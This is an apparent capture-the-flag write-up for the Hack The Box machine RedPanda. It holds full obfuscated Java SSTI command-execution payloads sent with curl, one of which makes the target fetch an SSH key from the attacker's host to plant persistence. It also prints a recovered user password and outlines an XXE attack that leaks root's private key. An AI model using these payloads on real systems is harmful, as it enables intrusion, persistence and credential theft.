NETWORK
echo '10.10.11.170 redpanda redpanda.htb' | sudo tee -a /etc/hosts
ENUMERATION
we are working with Spring boot
/error
/stats
Search
Going through the list of all the Pandas: angy, shy, crafty, peter, greg, hyngy, smooch, smiley
We notice that Greg has an interesting description
SSTI
Searching for #{7*7}
give us an interesting result
After a numerous unsuccessful try we found out that the best payload was *{something}
instead of `#{something}
Searching for SSTI Java we have found the following repository https://github.com/adeiarias/Java-SSTI-generator
Using this script we were able to generate working payloads
python /opt/Java-SSTI-generator/java_ssti_generator.py --command 'cat /etc/passwd'
to retrieve the list of users on the machine
FOOTHOLD
SSH Persistence
To ease our next steps, we need a better access to the server.
Let’s add a SSH public key to the authorized_keys file so we can enjoy a persistent ssh connection.
First in our machine (attacker) let’s generate a ssh public-private key pair on our kali
ssh-keygen -f /home/clobee/Downloads/boxes/htb/redpanda/id_rsa -I woodenk
mv id_rsa.pub authorized_keys
Let’s upload our public key file into the machine (and set the correct permissions) by running the following commands
mkdir -p /home/woodenk/.ssh/
chown woodenk:woodenk /home/woodenk/.ssh
curl http://10.10.16.4/authorized_keys -o /home/woodenk/.ssh/authorized_keys
chmod 600 /home/woodenk/.ssh/authorized_keys
Here is details:
python3 /opt/Java-SSTI-generator/java_ssti_generator.py -c 'mkdir -p /home/woodenk/.ssh/
curl -X POST -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(109).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47))).getInputStream())}' http://redpanda.htb:8080/search --silent -H "Content-Type: application/x-www-form-urlencoded" | html2text
python3 /opt/Java-SSTI-generator/java_ssti_generator.py -c 'chown woodenk:woodenk /home/woodenk/.ssh
curl -X POST -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(58)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104))).getInputStream())}' http://redpanda.htb:8080/search --silent -H "Content-Type: application/x-www-form-urlencoded" | html2text
python3 /opt/Java-SSTI-generator/java_ssti_generator.py -c 'curl http://10.10.16.4/authorized_keys -o /home/woodenk/.ssh/authorized_keys'
curl -X POST -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(58)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(115))).getInputStream())}' http://redpanda.htb:8080/search --silent -H "Content-Type: application/x-www-form-urlencoded" | html2text
python3 /opt/Java-SSTI-generator/java_ssti_generator.py -c 'chmod 600 /home/woodenk/.ssh/authorized_keys'
curl -X POST -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(115))).getInputStream())}' http://redpanda.htb:8080/search --silent -H "Content-Type: application/x-www-form-urlencoded" | html2text
Then running the following ssh command in our Kali
ssh -i id_rsa [email protected]
We get a ssh shell as Woodenk on the server
Enum
Looking into the result of a linpeas.sh we have found the following
We have found the user woodenk password
woodenk:RedPandazRule
PRIV ESCALATION
Looking into the processes running on the server we have noticed the following command
Looking into the logParser file /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
We can inject a “path” into the artist name in the metadata of an image stored in /dev/shm.
The image is then parsed by getArtist()
The metadata retrieved from the image will then be used to load an XML file /credits/XXXX_creds.xml
XXE
Injecting a path into an image
which will load our XML payload_creds.
Because of this
we can trigger the vulnerability with the following curl
curl http://redpanda.htb:8080 -H "User-Agent: ||/dev/shm/greg.jpg"
Waiting for the cron to run we then find the root id_rsa in our xml file